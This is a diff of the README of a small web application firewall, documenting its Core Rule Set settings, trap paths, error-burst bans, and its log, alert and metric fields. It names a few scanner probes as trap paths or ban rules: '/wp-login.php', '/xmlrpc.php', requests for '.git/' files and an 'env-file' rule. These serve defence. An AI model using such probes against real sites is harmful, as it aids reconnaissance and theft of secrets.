@@ -530,21 +621,21 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone, or a - `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone, or a
check with AbuseIPDB, may take before it fails. check with AbuseIPDB, may take before it fails.
- `SWWAF_BAN_RESPONSE` (default `403`): how a refused client is answered, one - `SWWAF_BAN_RESPONSE` (default `403`): how a refused client is answered, one
that is banned, breaks a rate limit, matches a `ban` rule, is in that is banned, breaks a rate limit, matches a `ban` rule, asks for a trap
`SWWAF_DENY_NETS`, comes from a refused country, is in a blocklist while path, is in `SWWAF_DENY_NETS`, comes from a refused country, is in a blocklist
`SWWAF_BLOCKLIST_ACTION` is `deny` or is listed by a DNSBL zone or AbuseIPDB while `SWWAF_BLOCKLIST_ACTION` is `deny` or is listed by a DNSBL zone or
while `SWWAF_REPUTATION_ACTION` is `deny`: `403`, `429`, or `close` to close AbuseIPDB while `SWWAF_REPUTATION_ACTION` is `deny`: `403`, `429`, or `close`
the connection without an answer. Behind traefik, `close` does not leave the to close the connection without an answer. Behind traefik, `close` does not
client unanswered: traefik answers `502`, as it does whenever its backend leave the client unanswered: traefik answers `502`, as it does whenever its
drops a connection. A `block` rule always answers `403`. backend drops a connection. A `block` rule always answers `403`.
- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken rate - `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken rate
limit or byte limit. limit, byte limit or error burst.
- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): a rate limit or byte limit - `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): a rate limit, byte limit or
broken again within this time after a ban ended, other than one for a clear error burst broken again within this time after a ban ended, other than one
sign of attack or for CrowdSec's decision, bans for three times as long as for a clear sign of attack or for CrowdSec's decision, bans for three times as
that ban. long as that ban.
- `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban for a broken rate limit or byte - `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban for a broken rate limit, byte
limit that would be longer is permanent instead. limit or error burst that would be longer is permanent instead.
- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of - `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
attack. attack.
- `SWWAF_MAX_BANS` (default `5000`): the most bans `smallwebwaf` made that are - `SWWAF_MAX_BANS` (default `5000`): the most bans `smallwebwaf` made that are
@@ -588,6 +679,77 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
rule files. A directory that does not exist stops the start. rule files. A directory that does not exist stops the start.
- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file, and checks - `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file, and checks
no request against one. no request against one.
- `SWWAF_WAF_MODE` (default `block`): what the Core Rule Set does with a match:
`block` refuses it with `403`, `detect` lets it through, logged and alerted,
and `off` inspects no request (see "What it does so far" above).
- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
from 1 to 4. Each level up runs more of its rules, which find more attacks and
take more ordinary requests for them.
- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the anomaly score at which a
request is a match. A rule the Core Rule Set rates critical adds 5, so by
default one such rule is enough. `off` makes no request a match; the scores
are still logged.
- `SWWAF_WAF_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of the Core Rule Set's
rules to switch off, such as one that refuses ordinary requests of your app;
the request log names the rules a request matched in `waf_rule_ids`. The
default switches off the rules that refuse a request for the type of its body,
when it is missing or not on the Core Rule Set's short list (920340, 920420,
920640), for its file extension, such as `.sh` or `.sql` (920440), and for a
file or directory name in its path, such as `.git/`, `.gitignore`,
`Dockerfile`, `package.json` or an editor's settings directory (930130,
930140). In front of a code forge these refuse git over HTTP, container image
and package uploads, and views of ordinary files in a repository; the default
rule file bans the common probes for such files at the site root instead (see
"Rule files" below). A list given replaces the default, so include them in it;
set but empty, it switches no rule off. An item that is not a whole number
above zero stops the start, as does one from 900000 to 900999, the ids of the
rules that set the Core Rule Set up and of `smallwebwaf`'s own, so that no
setting undoes its changes. The id of no rule switches nothing off.
- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes whose requests the
Core Rule Set does not inspect, each starting with `/`, matched as
`SWWAF_RATE_LIMIT_EXEMPT_PATHS` matches its own: a request whose path holds
`..`, a backslash or an encoded slash is inspected whatever its prefix.
- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off` has the Core Rule Set read no
request body. A size, such as `128K`, at most `1G`, has it read a body of form
data or multipart up to that size, the rest of a longer one passing on to the
app as it arrives, without being held, and a JSON or XML body no larger than
that size, since those cannot be read in part. A body is JSON when its type is
`application/json` or `text/json`, or an `application/` or `text/` type ending
in `+json`, and XML when its type is `application/xml` or `text/xml`, or an
`application/` or `text/` type ending in `+xml`. Any other body reaches the
app uninspected, and so does a larger JSON or XML body: the Core Rule Set
would read any other body as form data, where binary content such as a git
push trips rules written for text. A body it reads that Coraza cannot parse
(rule 900440), and a multipart body that fails Coraza's strict checks (rule
900450), add 5 to the score, as a rule rated critical does, since no rule
reads what comes after the fault. So does a multipart body the limit cuts
before the colon of a part's header line, or between the carriage return and
the line feed that end a part's header line or the empty line after its
headers, since Coraza takes the line the limit cuts for a malformed header.
The client has until `SWWAF_CLIENT_REQUEST_TIMEOUT` runs out to send the part
that is read, and a request whose body passes `SWWAF_REQUEST_MAX_BYTES` within
it is refused before anything reaches the app. Of a file in a multipart body,
Coraza counts the bytes and writes nothing. Body inspection suits apps whose
forms carry no code. In front of gitea it refuses issue and comment text, wiki
pages and files saved in the web editor that hold shell commands or code
(932125, 932235, 932250 and others), package descriptions that show code, PyPI
uploads (922130), and attachments named like `debug.log` or `config.yml`
(932180), until the rule ids the request log names are added to
`SWWAF_WAF_DISABLED_RULES`.
- `SWWAF_TRAP_PATHS` (default empty): paths the app never serves and only
scanners ask for, such as `/wp-login.php,/xmlrpc.php` in front of gitea; a
request for one bans its client for a clear sign of attack, as a `ban` rule
does, with or without rule files (see "What it does so far" above). A path
that does not start with `/`, or holds a `?`, which no path a `path` rule sees
holds, stops the start.
- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most requests of a client in
a minute that `smallwebwaf` may refuse after a rule file match, a trap path or
a Core Rule Set match, or for a missing or wrong token; one more breaks the
error burst, and bans the client as a broken rate limit does (see "What it
does so far" above). A client trying one probe or token after another is
refused many times a minute, a person rarely more than a few times. `off`
switches it off.
- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that every line on - `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that every line on
stdout is also sent to, as `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` stdout is also sent to, as `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`
with a host and a port, such as `syslog+tls://logs.example:6514`. Unset or with a host and a port, such as `syslog+tls://logs.example:6514`. Unset or
@@ -633,8 +795,7 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
`SWWAF_INSTANCE_NAME`, which ntfy is sent in the title. `SWWAF_INSTANCE_NAME`, which ntfy is sent in the title.
- `SWWAF_ALERT_EVENTS` (default - `SWWAF_ALERT_EVENTS` (default
`ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`): `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
the events alerts are sent for. `waf_block` comes with the Core Rule Set; the events alerts are sent for.
nothing raises it yet.
- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long a repeat of an alert is held - `SWWAF_ALERT_COOLDOWN` (default `15m`): how long a repeat of an alert is held
back (see "Alerts" below). back (see "Alerts" below).
- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour; - `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour;
@@ -671,18 +832,20 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or
Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are
bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024
bytes). Rate limits and the anomaly thresholds on requests are whole numbers of bytes). Rate limits, `SWWAF_ERROR_BURST_THRESHOLD` and the anomaly thresholds on
requests, and byte limits and the anomaly thresholds on bytes are sizes. requests are whole numbers of requests, and byte limits and the anomaly
Netblocks are in CIDR form, and a bare address stands for itself alone. thresholds on bytes are sizes. Netblocks are in CIDR form, and a bare address
Countries are the two-letter codes ISO 3166-1 assigns today, and `xk` for stands for itself alone. Countries are the two-letter codes ISO 3166-1 assigns
Kosovo, in either case (`de` and `DE` are the same); any other code, such as today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any
`nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the
code on both country lists. AS numbers are `AS` and the number, in either case. start, and so does a code on both country lists. AS numbers are `AS` and the
Percentages are whole numbers from 0 to 100, and an entry of a list of them is number, in either case. Percentages are whole numbers from 0 to 100, and an
an AS number or a country, `:` and a percentage; an AS number or a country entry of a list of them is an AS number or a country, `:` and a percentage; an
listed twice in one of them stops the start. `off` switches a timeout, a size AS number or a country listed twice in one of them stops the start. `off`
limit, a rate limit, a byte limit, an anomaly threshold, `SWWAF_ALERT_COOLDOWN` switches a timeout, a size limit, a rate limit, a byte limit, an anomaly
or `SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_IPV6_GROUP_PREFIX`, threshold, `SWWAF_WAF_ANOMALY_THRESHOLD`, `SWWAF_ERROR_BURST_THRESHOLD`,
`SWWAF_ALERT_COOLDOWN` or `SWWAF_ALERT_MAX_PER_HOUR` off;
`SWWAF_IPV6_GROUP_PREFIX`, `SWWAF_WAF_PARANOIA_LEVEL`,
`SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`,
`SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, `SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`,
`SWWAF_BLOCKLIST_REFRESH`, `SWWAF_ABUSEIPDB_MIN_SCORE`, `SWWAF_BLOCKLIST_REFRESH`, `SWWAF_ABUSEIPDB_MIN_SCORE`,
@@ -781,22 +944,23 @@ which every line has.
refused because its client is in `SWWAF_DENY_NETS`, in a blocklist while refused because its client is in `SWWAF_DENY_NETS`, in a blocklist while
`SWWAF_BLOCKLIST_ACTION` is `deny`, or listed by a DNSBL zone or AbuseIPDB `SWWAF_BLOCKLIST_ACTION` is `deny`, or listed by a DNSBL zone or AbuseIPDB
while `SWWAF_REPUTATION_ACTION` is `deny`, `banned` for one refused because a while `SWWAF_REPUTATION_ACTION` is `deny`, `banned` for one refused because a
ban covers its client, or because it matched a `ban` rule or the CrowdSec ban covers its client, or because it matched a `ban` rule, asked for a trap
decision list lists its client, either of which bans its client, path or the CrowdSec decision list lists its client, each of which bans its
`country_denied` for one refused for its client's country, `rate_limited` for client, `country_denied` for one refused for its client's country,
one that broke a rate limit and banned its client, `rule_blocked` for one a `rate_limited` for one that broke a rate limit and banned its client,
`block` rule refused, `too_large` for a request or response over its size `rule_blocked` for one a `block` rule refused, `waf_blocked` for one the Core
limit, `timed_out` for one that ran out of time, `upstream_error` when the app Rule Set refused, `too_large` for a request or response over its size limit,
could not be reached or its answer broke off, and `admin` for one `timed_out` for one that ran out of time, `upstream_error` when the app could
`smallwebwaf` answered at its own endpoint. not be reached or its answer broke off, and `admin` for one `smallwebwaf`
answered at its own endpoint.
- `would_action` is there in `observe` mode for a request that - `would_action` is there in `observe` mode for a request that
`SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec
decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit or a decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap
rule would have refused in `enforce` mode, and names the action that refusal path, a rule or the Core Rule Set would have refused in `enforce` mode, and
would have had: `denied`, `banned`, `country_denied`, `rate_limited` or names the action that refusal would have had: `denied`, `banned`,
`rule_blocked`. `action` then names what was done: `forward` for a request `country_denied`, `rate_limited`, `rule_blocked` or `waf_blocked`. `action`
passed to the app, and another action, such as `too_large`, for one a size or then names what was done: `forward` for a request passed to the app, and
time limit refused. another action, such as `too_large`, for one a size or time limit refused.
- `limit_percent` is there for a request the rate limits count whose client a - `limit_percent` is there for a request the rate limits count whose client a
biased threshold, `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, or biased threshold, `SWWAF_BLOCKLIST_ACTION` for a blocklist that lists it, or
`SWWAF_REPUTATION_ACTION` for a DNSBL zone whose verdict lists it or an `SWWAF_REPUTATION_ACTION` for a DNSBL zone whose verdict lists it or an
@@ -822,13 +986,21 @@ which every line has.
counted before it. counted before it.
- `rule_ids` is there for a request that matched rules of the rule files, and - `rule_ids` is there for a request that matched rules of the rule files, and
lists their ids in the order they matched, up to the one that refused it. lists their ids in the order they matched, up to the one that refused it.
- `limit_hit` is there for a request that broke a rate limit, or whose bytes - `waf_score` is there for a request the Core Rule Set inspected, and gives its
broke a byte limit, and names the window whose limit it went over as `counts` anomaly score, `0` for one no rule matched; `waf_rule_ids` lists the ids of
names it: `minute`, `hour` or `day` for a rate limit, and `minute_bytes`, the rules that matched, in the order they ran, and is left out when none did.
`hour_bytes` or `day_bytes` for a byte limit, the shortest if it went over A request is a match when its score is at or over
several. `offence` is then `limit`. A request whose bytes broke a byte limit `SWWAF_WAF_ANOMALY_THRESHOLD`: in `block` mode its `action` is `waf_blocked`,
is not refused: its `action` is what it would have been otherwise, such as and in `detect` mode what it would have been otherwise, such as `forward`.
`forward`. - `limit_hit` is there for a request that broke a rate limit or the error burst,
or whose bytes broke a byte limit, and names the window whose limit it went
over as `counts` names it: `minute`, `hour` or `day` for a rate limit, and
`minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit, the shortest if
it went over several; or `error_burst` for the error burst. `offence` is then
`limit`. A request whose bytes broke a byte limit is not refused: its `action`
is what it would have been otherwise, such as `forward`. Nor is one that broke
the error burst refused for that: its `action` is that of the refusal counted,
such as `rule_blocked` or `admin`.
- `reputation` is there for a request whose client a blocklist, the CrowdSec - `reputation` is there for a request whose client a blocklist, the CrowdSec
decision list or a DNSBL zone's verdict lists, or whose AbuseIPDB score is a decision list or a DNSBL zone's verdict lists, or whose AbuseIPDB score is a
hit, and gives the URLs of the blocklists that list it, in the order hit, and gives the URLs of the blocklists that list it, in the order
@@ -852,13 +1024,14 @@ which every line has.
- The timings are in milliseconds, to the microsecond. `duration_total` runs - The timings are in milliseconds, to the microsecond. `duration_total` runs
from when the request's headers had been read to when its line is written, and from when the request's headers had been read to when its line is written, and
`duration_checks` over the same start to when the checks were done; the health `duration_checks` over the same start to when the checks were done; the health
check runs none, and its line has no `duration_checks`. check runs none, and its line has no `duration_checks`. `duration_waf`, the
`duration_upstream_connect`, `duration_upstream_first_byte` and part of the checks the Core Rule Set took, reading the part of the body it
`duration_upstream_total` are there for a request passed to the app, and run reads included, is there with `waf_score`. `duration_upstream_connect`,
from when it was handed to the app: until there was a connection to it, new or `duration_upstream_first_byte` and `duration_upstream_total` are there for a
kept open from an earlier request, until the first byte of its answer arrived, request passed to the app, and run from when it was handed to the app: until
and until the end. The first two are left out when that never happened, as for there was a connection to it, new or kept open from an earlier request, until
an app that cannot be reached. the first byte of its answer arrived, and until the end. The first two are
left out when that never happened, as for an app that cannot be reached.
No body is logged, and no header but those above. `smallwebwaf`'s own messages No body is logged, and no header but those above. `smallwebwaf`'s own messages
(start, the settings, stop, errors) share the stream as JSON lines marked (start, the settings, stop, errors) share the stream as JSON lines marked
@@ -912,6 +1085,10 @@ it, as below. An alert is for one of these events, and is sent when
clear sign of attack, or a client the CrowdSec decision list lists. clear sign of attack, or a client the CrowdSec decision list lists.
- `permanent_ban`: a permanent ban it makes, or a ban for a clear sign of attack - `permanent_ban`: a permanent ban it makes, or a ban for a clear sign of attack
that a request made permanent. that a request made permanent.
- `waf_block`: a request the Core Rule Set scored at or over
`SWWAF_WAF_ANOMALY_THRESHOLD`, in `block` mode, which refused it, and in
`detect` mode, which let it through, with `mode`, `detect`, in its `detail`;
in `observe` mode, `block` refused nothing either, and `mode` is `observe`.
- `anomaly`: a count of requests or bytes over an anomaly threshold, raised by - `anomaly`: a count of requests or bytes over an anomaly threshold, raised by
each request that ends with the count over it, in `observe` mode as in each request that ends with the count over it, in `observe` mode as in
`enforce` mode. It refuses and bans nothing. `enforce` mode. It refuses and bans nothing.
@@ -988,19 +1165,21 @@ is sent on one line:
- `client` is the address of the client whose request raised the alert, and - `client` is the address of the client whose request raised the alert, and
`netblock` the netblock of the ban, or for an `anomaly`, the netblock counted: `netblock` the netblock of the ban, or for an `anomaly`, the netblock counted:
the client's own, the netblock around it or a named netblock, and none for an the client's own, the netblock around it or a named netblock, and none for an
AS number or the whole service, or for a `reputation_hit`, the client's own, AS number or the whole service, or for a `reputation_hit` or a `waf_block`,
as `client_group` gives it; both are empty for `source_failure` and the client's own, as `client_group` gives it; both are empty for
`file_error`. `asn`, `as_name` and `country` are, for a ban, the client's as `source_failure` and `file_error`. `asn`, `as_name` and `country` are, for a
the ban's notes give them when the alert is raised: empty, as in this alert, ban, the client's as the ban's notes give them when the alert is raised:
when GeoJS had not answered about the client by then; for an `anomaly`, the empty, as in this alert, when GeoJS had not answered about the client by then;
client's as the lookup gave them by the time its request ended; for a for an `anomaly`, the client's as the lookup gave them by the time its request
`reputation_hit`, the client's as its request's log line gives them. ended; for a `reputation_hit` or a `waf_block`, the client's as its request's
log line gives them.
- `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`; - `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`;
for an `anomaly`, what was counted over which threshold, such as for an `anomaly`, what was counted over which threshold, such as
`requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`; `requests per minute of the netblock 203.0.113.0/24 over the threshold of 1000`;
for a `reputation_hit`, `listed by a blocklist`, for a `reputation_hit`, `listed by a blocklist`,
`listed by the CrowdSec decision list`, `listed by a DNSBL zone` or `listed by the CrowdSec decision list`, `listed by a DNSBL zone` or
`scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`. `scored by AbuseIPDB at or over SWWAF_ABUSEIPDB_MIN_SCORE`; for a `waf_block`,
`scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD`.
- `detail` is what is particular to the event: for a ban, its `cause`, when it - `detail` is what is particular to the event: for a ban, its `cause`, when it
ends as `ban_expires`, in the form the request log gives it, and its `notes`, ends as `ban_expires`, in the form the request log gives it, and its `notes`,
as `bans.json` gives them; for an `anomaly`, the `scope`, `client`, `net`, as `bans.json` gives them; for an `anomaly`, the `scope`, `client`, `net`,
@@ -1009,11 +1188,14 @@ is sent on one line:
or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted or `hour`, the `kind`, `requests` or `bytes`, the `count`, which is weighted
as the rate limits weigh theirs, and the `threshold`; for a `reputation_hit`, as the rate limits weigh theirs, and the `threshold`; for a `reputation_hit`,
the `source`, the URL of the blocklist or of the CrowdSec decision list, the the `source`, the URL of the blocklist or of the CrowdSec decision list, the
zone or `abuseipdb`, and for AbuseIPDB the `score`; for `source_failure`, the zone or `abuseipdb`, and for AbuseIPDB the `score`; for a `waf_block`, the
`source`, `geojs`, the URL of the list, the zone or `abuseipdb`, the `error`, `rule_ids` and the `score`, as the request log gives them, the request's
and for GeoJS, when it is asked again, `asking_again_in`; for `file_error`, `method`, its `path` with the query, and the `mode` when the request was not
the `file`, which for an edit set aside is the file it was renamed to, and the refused for it; for `source_failure`, the `source`, `geojs`, the URL of the
`error`, which for a file that does not parse names where in it the error is. list, the zone or `abuseipdb`, the `error`, and for GeoJS, when it is asked
again, `asking_again_in`; for `file_error`, the `file`, which for an edit set
aside is the file it was renamed to, and the `error`, which for a file that
does not parse names where in it the error is.
- `suppressed_repeats` is how many repeats the cooldown held back before this - `suppressed_repeats` is how many repeats the cooldown held back before this
alert, and for a `summary`, those no other alert gives (see below). alert, and for a `summary`, those no other alert gives (see below).
@@ -1101,33 +1283,43 @@ which are listed by scope first, and the copies of the lists, listed by URL,
with times in UTC. with times in UTC.
- `bans.json`: every ban with its notes, indented to be read. A permanent ban's - `bans.json`: every ban with its notes, indented to be read. A permanent ban's
`expires` is `null`. A ban's `cause` is `limit` for a broken rate limit or `expires` is `null`. A ban's `cause` is `limit` for a broken rate limit, byte
byte limit, `attack` for a clear sign of attack or `crowdsec` for a client the limit or error burst, `attack` for a clear sign of attack or `crowdsec` for a
CrowdSec decision list lists, for a ban `smallwebwaf` made, and `admin` for client the CrowdSec decision list lists, for a ban `smallwebwaf` made, and
one you made or keep. Its `reason` is a short text: for a ban `smallwebwaf` `admin` for one you made or keep. Its `reason` is a short text: for a ban
made, the limit broken, such as `requests per minute over the limit of 1000` `smallwebwaf` made, the limit broken, such as
or `bytes per hour over the limit of 21474836480`, the rule that matched, such `requests per minute over the limit of 1000`,
as `matched the rule env-file`, or the scenario that made CrowdSec's decision, `bytes per hour over the limit of 21474836480` or
such as `CrowdSec's decision for crowdsecurity/ssh-bf`; for yours, what you `refusals per minute over the limit of 30`, the rule that matched, such as
wrote. Its `lifted` is when you lifted it, and is left out until you do. The `matched the rule env-file`, the trap path asked for, such as
`kind` in the notes of a ban for a broken limit is `requests` or `bytes`, what `asked for the trap path /wp-login.php`, or the scenario that made CrowdSec's
the limit is on. For a limit a biased threshold lowered, the reason and the decision, such as `CrowdSec's decision for crowdsecurity/ssh-bf`; for yours,
notes' `limit` give the lowered limit, and the notes' `limit_percent` and what you wrote. Its `lifted` is when you lifted it, and is left out until you
`limit_percent_setting` the client's percentage of that kind of limit and the do. The `kind` in the notes of a ban for a broken limit is `requests`, `bytes`
setting that gave it. The notes' `reputation` gives each blocklist, the or `refusals`, for the error burst, what the limit is on. The notes of a ban
CrowdSec decision list, each DNSBL zone or AbuseIPDB that listed the client for a clear sign of attack give the `rule_id` and the `target` of the rule
when the ban was made, as its `source`, named and ordered as in the request that matched, or the `trap_path` asked for. For a limit a biased threshold
log's `reputation`, with AbuseIPDB's `score` of the client. It is left out lowered, the reason and the notes' `limit` give the lowered limit, and the
when none did, and the example below shows it. notes' `limit_percent` and `limit_percent_setting` the client's percentage of
that kind of limit and the setting that gave it. The notes' `reputation` gives
each blocklist, the CrowdSec decision list, each DNSBL zone or AbuseIPDB that
listed the client when the ban was made, as its `source`, named and ordered as
in the request log's `reputation`, with AbuseIPDB's `score` of the client. It
is left out when none did, and the example below shows it.
- `clients.json`: each client's two buckets of requests in the minute, the hour - `clients.json`: each client's two buckets of requests in the minute, the hour
and the day, its two buckets of bytes in each, `minute_bytes`, `hour_bytes` and the day, its two buckets of bytes in each, `minute_bytes`, `hour_bytes`
and `day_bytes`, and its history: when it was first and last seen, its AS and `day_bytes`, its two buckets of refusals in the minute, which the error
number, AS name and country as last looked up and when the lookup gave them, burst counts, `minute_refusals`, and its history: when it was first and last
its requests, how many were forwarded and how many refused (one `smallwebwaf` seen, its AS number, AS name and country as last looked up and when the lookup
answered at its own endpoints is neither, unless it was refused with `401` for gave them, its requests, how many were forwarded and how many refused (one
a missing or wrong token), the body bytes in each direction, its responses by `smallwebwaf` answered at its own endpoints is neither, unless it was refused
status class and its offences by kind. Each client is on a line of its own, so with `401` for a missing or wrong token), the body bytes in each direction,
`grep` shows everything about one. its responses by status class and its offences by kind: `limit` for a broken
rate limit, byte limit or error burst, `attack` for a clear sign of attack,
`rule_blocked` for a request a `block` rule refused, `waf_blocked` for one the
Core Rule Set refused and `token_refused` for one refused for a missing or
wrong token. Each client is on a line of its own, so `grep` shows everything
about one.
- `lookups.json`: GeoJS's answers, one to a line, each with the client's AS - `lookups.json`: GeoJS's answers, one to a line, each with the client's AS
number, AS name and country, when GeoJS gave it and when it was last used. number, AS name and country, when GeoJS gave it and when it was last used.
- `reputation.json`: each list fetched from a URL (see "Blocklists" and - `reputation.json`: each list fetched from a URL (see "Blocklists" and
@@ -1243,19 +1435,19 @@ and the line and column where Go's JSON decoder gives them; so does a state
directory `smallwebwaf` cannot write. So does an entry without a field it needs, directory `smallwebwaf` cannot write. So does an entry without a field it needs,
named with the entry's place in the file: a ban's `netblock`, `start` or named with the entry's place in the file: a ban's `netblock`, `start` or
`expires`, which is `null` for a permanent ban; a client's `client`, or the `expires`, which is `null` for a permanent ban; a client's `client`, or the
`start` of a window in which it has requests or bytes; an answer's `client`, `start` of a window in which it has requests, bytes or refusals; an answer's
`country`, which is `""` for a client GeoJS cannot place, or `answered`; a `client`, `country`, which is `""` for a client GeoJS cannot place, or
cooldown's `event` or `sent`; an alert waiting's `event` or `time`; an anomaly `answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or
counter's `netblock`, unless it counts an AS number or the whole service, its `time`; an anomaly counter's `netblock`, unless it counts an AS number or the
`asn`, for an AS number, its `name`, for a named netblock, or the `start` of a whole service, its `asn`, for an AS number, its `name`, for a named netblock, or
window in which it has requests or bytes; a list's `url`, `fetched` or `lines`, the `start` of a window in which it has requests or bytes; a list's `url`,
which is `[]` for an empty list; a verdict's `zone`, `client`, `listed`, which `fetched` or `lines`, which is `[]` for an empty list; a verdict's `zone`,
is `false` for a client the zone does not list, or `fetched`. So does a ban `client`, `listed`, which is `false` for a client the zone does not list, or
whose `cause` is not `limit`, `attack`, `admin` or `crowdsec`, alerts waiting `fetched`. So does a ban whose `cause` is not `limit`, `attack`, `admin` or
for a destination that is not `webhook`, `slack` or `ntfy`, an anomaly counter `crowdsec`, alerts waiting for a destination that is not `webhook`, `slack` or
whose `scope` is not `client`, `net`, `asn`, `total` or `watch`, and a copy of a `ntfy`, an anomaly counter whose `scope` is not `client`, `net`, `asn`, `total`
list with a line that would make its fetch fail. An answer's `asn` or `as_name` or `watch`, and a copy of a list with a line that would make its fetch fail. An
left out reads as empty. answer's `asn` or `as_name` left out reads as empty.
While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of
a state file as soon as you save it: what the file then holds replaces what a state file as soon as you save it: what the file then holds replaces what
@@ -1406,17 +1598,22 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets
from then on, as histograms; `smallwebwaf_requests_in_flight`: the requests from then on, as histograms; `smallwebwaf_requests_in_flight`: the requests
under way. under way.
- `smallwebwaf_rate_limit_hits_total` by `window`, `minute`, `hour` or `day`, - `smallwebwaf_rate_limit_hits_total` by `window`, `minute`, `hour` or `day`,
and `kind`, `requests` for a rate limit or `bytes` for a byte limit, and `kind`, `requests` for a rate limit, `bytes` for a byte limit or
`refusals` for the error burst, whose window is `minute`,
`smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose
limit was passed, `smallwebwaf_offences_total` by `kind`, and limit was passed, `smallwebwaf_offences_total` by `kind`, `limit`, `attack`,
`smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin` or `rule_blocked`, `waf_blocked` or `token_refused`, as `clients.json` counts
`crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`, them, and `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin`
or `crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`,
and those whose `cause` is `admin` that you add to `bans.json` while and those whose `cause` is `admin` that you add to `bans.json` while
`smallwebwaf` runs; `smallwebwaf_active_bans` and `smallwebwaf` runs; `smallwebwaf_active_bans` and
`smallwebwaf_permanent_bans`, neither of which counts a lifted ban. `smallwebwaf_permanent_bans`, neither of which counts a lifted ban.
- `smallwebwaf_rule_matches_total`: the requests that matched each rule, by - `smallwebwaf_rule_matches_total`: the requests that matched each rule, by
`rule_id` and `action`, the rule's own; and `smallwebwaf_rules_loaded`: the `rule_id` and `action`, the rule's own; and `smallwebwaf_rules_loaded`: the
rules read from the rule files. rules read from the rule files.
- `smallwebwaf_waf_matches_total`: the requests that matched each rule of the
Core Rule Set, whatever their score, by `mode`, `SWWAF_WAF_MODE`, and
`rule_id`, a series for each rule that has matched.
- `smallwebwaf_country_requests_total`, - `smallwebwaf_country_requests_total`,
`smallwebwaf_country_request_bytes_total`, `smallwebwaf_country_request_bytes_total`,
`smallwebwaf_country_response_bytes_total`, and `smallwebwaf_country_response_bytes_total`, and
@@ -1483,8 +1680,7 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets
- Go's own `go_` metrics and the process's `process_` metrics. - Go's own `go_` metrics and the process's `process_` metrics.
The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request
log") are not counted. The metrics of the features still to come, such as the log") are not counted.
Core Rule Set, come with them.
## Admin endpoints ## Admin endpoints
@@ -1521,7 +1717,8 @@ or lift is written to `bans.json` `SWWAF_STATE_WRITE_DELAY` later. Refusals, and
the answers to requests that cannot be read, are plain text. the answers to requests that cannot be read, are plain text.
A request without the token, or with another, such as the metrics token, is A request without the token, or with another, such as the metrics token, is
